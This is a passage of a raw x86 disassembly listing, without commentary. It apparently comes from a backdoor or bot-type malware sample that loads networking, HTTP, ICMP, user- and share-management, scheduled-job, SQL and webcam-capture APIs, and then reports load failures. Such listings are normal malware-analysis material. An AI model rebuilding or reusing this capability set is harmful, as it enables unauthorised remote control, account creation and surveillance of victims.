		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43F680, eax
		call	esi
		mov	dword_43F640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43F694, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43F650, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43F690, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43F6FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43F648, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43F60C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43F67C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43F6EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43F620, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43F5C4, eax
		call	esi
		cmp	dword_43F5E0, ebx
		mov	dword_43F700, eax
		jz	loc_409FD6
		cmp	dword_43F70C, ebx
		jz	loc_409FD6
		cmp	dword_43F584, ebx
		jz	loc_409FD6
		cmp	dword_43F614, ebx
		jz	loc_409FD6
		cmp	dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	dword_43F704, ebx
		jz	loc_409FD6
		cmp	dword_43F610, ebx
		jz	loc_409FD6
		cmp	dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	dword_43F668, ebx
		jz	loc_409FD6
		cmp	dword_43F664, ebx
		jz	loc_409FD6
		cmp	dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	dword_43F680, ebx
		jz	short loc_409FD6
		cmp	dword_43F640, ebx
		jz	short loc_409FD6
		cmp	dword_43F694, ebx
		jz	short loc_409FD6
		cmp	dword_43F650, ebx
		jz	short loc_409FD6
		cmp	dword_43F690, ebx
		jz	short loc_409FD6
		cmp	dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	dword_43F648, ebx
		jz	short loc_409FD6
		cmp	dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2650C45h
		mov	dword_43F74C, eax

loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43F748, 1

loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43F5AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43F538, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43F630, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43F5E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43F63C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43F600, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43F578, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43F570, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43F580, eax
		call	esi
		cmp	dword_43F5AC, ebx
		mov	ecx, dword_43F600
		mov	dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB

loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43F750, 1

loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------

loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 2650C45h
		mov	dword_43F754, eax
		mov	dword_43F750, 1

loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43F618, ebx

loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43F5F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43F720, eax
		call	esi
		cmp	dword_43F5F4, ebx
		mov	dword_43F58C, eax
		jz	short loc_40A155
		cmp	dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------

loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		call	near ptr 2650C45h
		nop
		mov	dword_43F75C, eax

loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43F758, 1

loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43F568, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43F540, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43F5B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43F5E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43F6F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43F5A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43F54C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43F53C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43F5D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43F6C0, eax
		call	esi
		cmp	dword_43F568, ebx
		mov	dword_43F678, eax
		jz	short loc_40A260
		cmp	dword_43F540, ebx
		jz	short loc_40A260
		cmp	dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	dword_43F54C, ebx
		jz	short loc_40A260
		cmp	dword_43F53C, ebx
		jz	short loc_40A260
		cmp	dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------

loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2650C45h
		mov	dword_43F764, eax

loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43F760, 1

loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43F590, eax
		call	esi
		cmp	dword_43F590, ebx
		mov	dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------

loc_40A29F:				; CODE XREF: sub_40981F+A56j
		nop
		call	near ptr 2650C45h
		mov	dword_43F76C, eax

loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43F768, 1

loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43F6E4, eax
		call	esi
		cmp	dword_43F6E4, ebx
		mov	dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------

loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 2650C45h
		mov	dword_43F774, eax

loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43F770, 1

loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43F710, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43F708, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43F6D0, eax
		call	esi
		cmp	dword_43F710, ebx
		mov	dword_43F5A8, eax
		jz	short loc_40A368
		cmp	dword_43F708, ebx
		jz	short loc_40A368
		cmp	dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------

loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		nop
		call	near ptr 2650C45h
		mov	dword_43F77C, eax

loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43F778, 1

loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43F5DC, eax
		call	esi
		cmp	dword_43F5DC, ebx
		mov	dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------

loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 2650C45h
		mov	dword_43F784, eax

loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43F780, 1

loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43F6A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43F6F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43F62C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43F5EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43F684, eax
		call	esi
		cmp	dword_43F6A4, ebx
		mov	dword_43F5F8, eax
		jz	short loc_40A450
		cmp	dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	dword_43F62C, ebx
		jz	short loc_40A450
		cmp	dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------

loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 2650C45h
		mov	dword_43F78C, eax

loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43F788, 1

loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43F5C0, eax
		call	esi
		cmp	dword_43F5C0, ebx
		mov	dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------

loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	near ptr 2650C45h
		nop
		mov	dword_43F794, eax

loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43F790, 1

loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43F730, esi
		jz	short loc_40A528
		push	dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43F738, esi
		jz	short loc_40A55C
		push	dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43F740, esi
		jz	short loc_40A590
		push	dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43F748, esi
		jz	short loc_40A5C4
		push	dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43F750, esi
		jz	short loc_40A5F8
		push	dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43F758, esi
		jz	short loc_40A62C
		push	dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43F760, esi
		jz	short loc_40A660
		push	dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43F768, esi
		jz	short loc_40A694
		push	dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43F770, esi
		jz	short loc_40A6C8
		push	dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43F778, esi
		jz	short loc_40A6FC
		push	dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43F780, esi
		jz	short loc_40A730
		push	dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43F788, esi
		jz	short loc_40A764
		push	dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43F790, esi
		jz	short loc_40A798
		push	dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi

loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx

loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------

loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax

loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E

loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------

loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0

loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB

loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0

loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA

loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]

loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD

loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch

loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx

loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi

loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx

loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23

loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx

loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
